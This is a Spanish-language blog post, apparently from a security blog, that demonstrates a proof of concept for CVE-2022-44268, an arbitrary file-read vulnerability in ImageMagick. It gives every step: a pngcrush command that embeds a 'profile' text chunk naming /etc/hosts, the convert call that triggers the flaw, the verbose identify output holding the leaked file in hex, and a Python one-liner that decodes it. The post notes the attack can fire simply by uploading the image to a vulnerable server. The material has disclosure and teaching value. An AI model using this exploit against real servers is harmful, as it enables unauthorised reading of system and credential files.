ImageMagick: la vulnerabilidad oculta detrás de tus imágenes online

Recientemente se han descubierto dos vulnerabilidades en ImageMagick 7.1.0-49: un DoS (CVE-2022-44267) y un Information Disclosure (CVE-2022-44268). Nos vamos a centrar en esta última ya que creo que es bastante más interesante.

Cuando se agrega un fragmento de texto (por ejemplo, tEXt), si la palabra clave es la cadena "profile" (sin comillas), ImageMagick interpreta la cadena de texto como un nombre de archivo y carga el contenido como un profile sin procesar (si el binario de ImageMagick tiene permisos para leerlo). 

El resultado es que un atacante podría aprovechar ésto para leer arbitrariamente ficheros de un servidor que utiliza ImageMagick para procesar imágenes...

La PoC es además supersencilla.

1.- Primero instalamos las dependencias:

$ apt-get install pngcrush imagemagick exiftool exiv2 -y

2.- Añadimos el chunk de texto con el nombre del fichero que queremos leer:
$ pngcrush -text a "profile" "/etc/hosts" hacker.png 
Recompressing IDAT chunks in hacker.png to pngout.png
   Total length of data found in critical chunks            =    319742
   Best pngcrush method        =  10 (ws 15 fm 6 zl 9 zs 1) =    328105
CPU time decode 0.043105, encode 0.648451, other 0.002684, total 0.696421 sec
Opcionalmente comprobamos que se ha añadido correctamente:
$ exiv2 -pS pngout.png
STRUCTURE OF PNG FILE: pngout.png
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | ............                   | 0x7b1a43ad
      33 | iCCP  |     388 | ICC profile..(.}.=H.@.._SKE+.v | 0xa0c670f3
     433 | pHYs  |       9 | ...#...#.                      | 0x78a53f76
     454 | tIME  |       7 | ......3                        | 0xbb153466
     473 | zTXt  |   16389 | Raw profile type exif..x...Y.$ | 0x289c8fc7
   16874 | iTXt  |    3354 | XML:com.adobe.xmp.....<?xpacke | 0xf1deb764
   20240 | IDAT  |  328048 | x...Y.$Y.&..r...r7...=.\..2... | 0xe5c57ae2
  348300 | tEXt  |      18 | profile./etc/hosts             | 0xc560a843
  348330 | IEND  |       0 |                                | 0xae426082

3.- Ahora tratamos la imagen con ImageMagick para explotar la vulnerabilidad, en el ejemplo simplemente con el comando convert pero en un entorno real podría detonarse simplemente subiéndo la imágen a un servidor vulnerable:
$ convert pngout.png oculto.png
convert-im6.q16: keyword "Raw profile type ": bad character '0x20' `oculto.png' @ warning/png.c/MagickPNGWarningHandler/1668.

Y ya está, ahora simplemente vemos el contenido incrustado en la imagen resultante (te lo resalto en amarillo):

$ identify -verbose oculto.png
Image:
  Filename: oculto.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 512x512+0+0
  Resolution: 118.11x118.11
  Print size: 4.33494x4.33494
  Units: PixelsPerCentimeter
  Colorspace: sRGB
  Type: TrueColor
  Base type: Undefined
  Endianness: Undefined
  Depth: 8-bit
  Channel depth:
    red: 8-bit
    green: 8-bit
    blue: 8-bit
  Channel statistics:
    Pixels: 262144
    Red:
      min: 0  (0)
      max: 255 (1)
      mean: 88.2626 (0.346128)
      standard deviation: 73.5068 (0.288262)
      kurtosis: -0.553267
      skewness: 0.75696
      entropy: 0.960805
    Green:
      min: 0  (0)
      max: 255 (1)
      mean: 120.885 (0.474058)
      standard deviation: 90.0684 (0.35321)
      kurtosis: -1.5098
      skewness: 0.223454
      entropy: 0.953738
    Blue:
      min: 0  (0)
      max: 255 (1)
      mean: 130.047 (0.50999)
      standard deviation: 85.4641 (0.335153)
      kurtosis: -1.51198
      skewness: 0.0835374
      entropy: 0.971014
  Image statistics:
    Overall:
      min: 0  (0)
      max: 255 (1)
      mean: 113.065 (0.443392)
      standard deviation: 83.0131 (0.325542)
      kurtosis: -1.33275
      skewness: 0.359084
      entropy: 0.961852
  Rendering intent: Perceptual
  Gamma: 0.454545
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Background color: white
  Border color: srgb(223,223,223)
  Matte color: grey74
  Transparent color: black
  Interlace: None
  Intensity: Undefined
  Compose: Over
  Page geometry: 512x512+0+0
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Orientation: Undefined
  Profiles:
    Profile-icc: 672 bytes
  Properties:
    date:create: 2023-02-05T18:35:18+00:00
    date:modify: 2023-02-05T18:35:18+00:00
    exif:BitsPerSample: 8, 8, 8
    exif:ColorSpace: 1
    exif:DateTime: 2023:02:05 12:24:50
    exif:ExifOffset: 190
    exif:ImageLength: 512
    exif:ImageWidth: 512
    exif:Software: GIMP 2.10.30
    exif:thumbnail:BitsPerSample: 8, 8, 8
    exif:thumbnail:Compression: 6
    exif:thumbnail:ImageLength: 256
    exif:thumbnail:ImageWidth: 256
    exif:thumbnail:JPEGInterchangeFormat: 328
    exif:thumbnail:JPEGInterchangeFormatLength: 13885
    exif:thumbnail:PhotometricInterpretation: 6
    exif:thumbnail:SamplesPerPixel: 3
    icc:copyright: Public Domain
    icc:description: GIMP built-in sRGB
    icc:manufacturer: GIMP
    icc:model: sRGB
    png:bKGD: chunk was found (see Background color, above)
    png:cHRM: chunk was found (see Chromaticity, above)
    png:iCCP: chunk was found
    png:IHDR.bit-depth-orig: 8
    png:IHDR.bit_depth: 8
    png:IHDR.color-type-orig: 2
    png:IHDR.color_type: 2 (Truecolor)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 512, 512
    png:pHYs: x_res=11811, y_res=11811, units=1
    png:text: 23 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-02-05T18:35:18Z
    Raw profile type:

     220
3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a
0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c65
20666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d
6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c
6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a66663032
3a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f7574
6572730a


    signature: 1218350006b7307477b7ba227324971bbf78de7a384d3ab2c12b0984f6fade13
    unknown: 1
  Artifacts:
    filename: oculto.png
    verbose: true
  Tainted: False
  Filesize: 340862B
  Number pixels: 262144
  Pixels per second: 26.1417MB
  User time: 0.010u
  Elapsed time: 0:01.010
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

¿Lo has visto verdad? En hexadecimal...
$ python3 -c 'print(bytes.fromhex("texto_en_hexadecimal").decode("utf-8"))'
$ python3 -c 'print(bytes.fromhex("3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a666630323a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f75746572730a").decode("utf-8"))'
127.0.0.1    localhost
127.0.1.1    kyaku

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


Fuentes:   

Comentarios

Publicar un comentario